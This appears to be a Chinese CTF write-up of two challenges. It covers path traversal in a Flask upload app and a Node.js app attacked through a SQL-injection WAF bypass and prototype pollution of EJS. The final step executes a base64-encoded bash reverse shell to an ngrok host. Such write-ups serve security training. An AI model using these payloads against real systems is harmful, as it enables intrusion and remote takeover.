[NISACTF 2022]babyupload

image-20220423220521330

image-20220423220526700

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)
# 创建一个表名为files 值为id 和 path 内容为text 并且 含有primary key
SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db(): #返回g对象的_database属性值
g_db = getattr(g, '_database', None)
if g_db is None:#如果存在
g_db = g._database = sqlite3.connect("database.db")#就连接databae.db
return g_db


@app.before_first_request
def setup():#删除database.db文件
os.remove("database.db")
cur = db().cursor()#获取游标
cur.executescript(SCHEMA)#执行脚本


@app.route('/')
def hello_world():
return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():#flask下载文件,将网站源码发送
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:#上传文件不存在重定向到/
return redirect('/')
file = request.files['file']#
if "." in file.filename:#filename中有.就结束返回403
return "Bad filename!", 403
conn = db()#连接db
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))#将uid和filename写入数据库
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()

file.save('uploads/' + file.filename)#将文件保存在uploads/filename下
return redirect('/file/' + uid)#重定向到/file/uid


@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))#查询文件路径
res = cur.fetchone()
if res is None:
return "File not found", 404

# print(res[0])
#进行路径拼接print("2:",os.path.join('/aaaa','/bbbb','/ccccc.txt')) #不良写法习惯
# / ccccc.txt
# print("22:", os.path.join('/aaaa/', 'bbbb/', 'ccccc.txt')) # 通常可以这样写
# aaaa/bbb/ccccc.txt
with open(os.path.join("uploads/", res[0]), "r") as f:#传入/flag可以读取,就变成了/flag
return f.read()


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)

image-20220423221146612

image-20220423221155647

[GKCTF 2021]easynode

读源码

const express = require('express');
const format = require('string-format');
//const {select, close} = require('./tools');
const app = new express();
var extend = require("js-extend").extend
const ejs = require('ejs');
//const {generateToken, verifyToken} = require('./encrypt');
var cookieParser = require('cookie-parser');
app.use(express.urlencoded({extended: true}));
app.use(express.static((__dirname + '/public/')));
app.use(cookieParser());

//生成一个safeQuery对象 let生成一个变量
let safeQuery = async (username, password) => {
//生成一个只读变量
const waf = (str) => {
// console.log(str);
blacklist = ['\\', '\^', ')', '(', '\"', '\'']//定义黑名单
blacklist.forEach(element => {
if (str == element) {//如果传入的str等于黑名单中的值就把str替换为*
str = "*";
}
});
return str;//返回str
}
//这里总共有两步操作首先是通过数组去绕过弱类型比较,在者是通过长度来绕过也就是i,当只有有*的时候它就会进行拼接操作,那么原先的数组就变成了字符串,这个时候,由于i已经足够大了,就算开始以字符串来进行挨个过滤,
//也会导致admin'过滤不到,也就是说当存在多少个数组就会有多少个前面的字符过滤不到.下面有图
const safeStr = (str) => {//
for (let i = 0; i < str.length; i++) {//对str进行遍历
if (waf(str[i]) == "*") {//如果str的为*
//截取从零开始的前i个字符并在中间拼接上*
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}

}
return str;
}

username = safeStr(username);//对username和password进行过滤
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'", username.substr(0, 20), password.substr(0, 20));
// console.log(sql);//进行sql查询,并且将js对象转换为json字符串在将json字符串转换回js对象
result = JSON.parse(JSON.stringify(await select(sql)));
return result;
}
//req请求体,res响应体
app.get('/', async (req, res) => {
const html = await ejs.renderFile(__dirname + "/public/index.html")//渲染输出/public/index.html
res.writeHead(200, {"Content-Type": "text/html"});//返回200响应头并定义响应头为
res.end(html)//响应结束
})


app.post('/login', function (req, res, next) {

let username = req.body.username;//req中的body的username
let password = req.body.password;
safeQuery(username, password).then(//调用safeQuery对象对username和password进行过滤
result => {//then进行异步执行,先执行前面的,接着执行后面的
if (result[0]) {
const token = generateToken(username)//生成token
res.json({//对body加json处理,传入token
"msg": "yes", "token": token
});
} else {
res.json(
{"msg": "username or password wrong"}
);
}
}
).then(close()).catch(err => {//接着关闭
res.json({"msg": "something wrong!"});//如果出错就捕获错误
});
})

//admin路由
app.get("/admin", async (req, res, next) => {
const token = req.cookies.token//得到cookies的token
let result = verifyToken(token);//验证token
if (result != 'err') {//如果结果不等于err
username = result
var sql = `select board from board where username = '${username}'`;
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);//解码第一条语句为js对象
console.log(board);//
const html = await ejs.renderFile(__dirname + "/public/admin.ejs", {board, username})
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
} else {
res.json({'msg': 'stop!!!'});
}
});
//addAdmin
app.post("/addAdmin", async (req, res, next) => {
let username = req.body.username;
let password = req.body.password;
const token = req.cookies.token
let result = verifyToken(token);
if (result != 'err') {
gift = JSON.stringify({
[username]: {
name: "Blue-Eyes White Dragon",
ATK: "3000",
DEF: "2500",
URL: "https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"
}
});
var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ', username, password);
select(sql).then(close()).catch((err) => {
console.log(err)
});
var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ', username, gift);
console.log(sql);
select(sql).then(close()).catch((err) => {
console.log(err)
});
res.end('add admin successful!')
} else {
res.end('stop!!!');
}
});


app.post("/adminDIV", async (req, res, next) => {
const token = req.cookies.token

var data = JSON.parse(req.body.data)

let result = verifyToken(token);
if (result != 'err') {
username = result;
var sql = 'select board from board';
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
for (var key in data) {
var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
//这里使用extend进行合并实际上是类似的合并方法,使用了json.这便使得__proto__不会被直接解析成为原型,从而产生原型链污染
extend(board, JSON.parse(addDIV));
}
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
select(sql).then(close()).catch((err) => {
console.log(err)
});
res.json({"msg": 'addDiv successful!!!'});
} else {
res.end('nonono');
}
});


app.listen(1337, () => {
console.log(`App listening at port 1337`)
})

image-20220424231433080

username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=(&password=123456

login登录

image-20220425124231454

{"msg":"yes","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjpbImFkbWluJyMiLCIxIiwiMSIsIjEiLCIxIiwiMSIsIjEiLCIxIiwiMSIsIigiXSwiZXhwIjoxNjUwODYzNTQ3LCJpYXQiOjE2NTA4NjE3NDd9.2iXB8qLSvHTm4KNs7TRLNenf82wobE6p7hsawIMa9r8"}

那到token,接着去创建用户,拿着这个token

username=__proto__&password=123456

image-20220425124524381

拿__proto__的token

image-20220425124638478

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjoiX19wcm90b19fIiwiZXhwIjoxNjUwODYzNzk1LCJpYXQiOjE2NTA4NjE5OTV9.aPqkweKaRvIXpIhNFV9dNJdO4I_f9VK9oWz_klHIzqY

接着拿着token去adminDIV去污染data

data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5qcC5uZ3Jvay5pby8xNTQzMiAwPiYxIiA=|base64 -d|bash');var __tmp2"}

image-20220425130507130

image-20220425132624155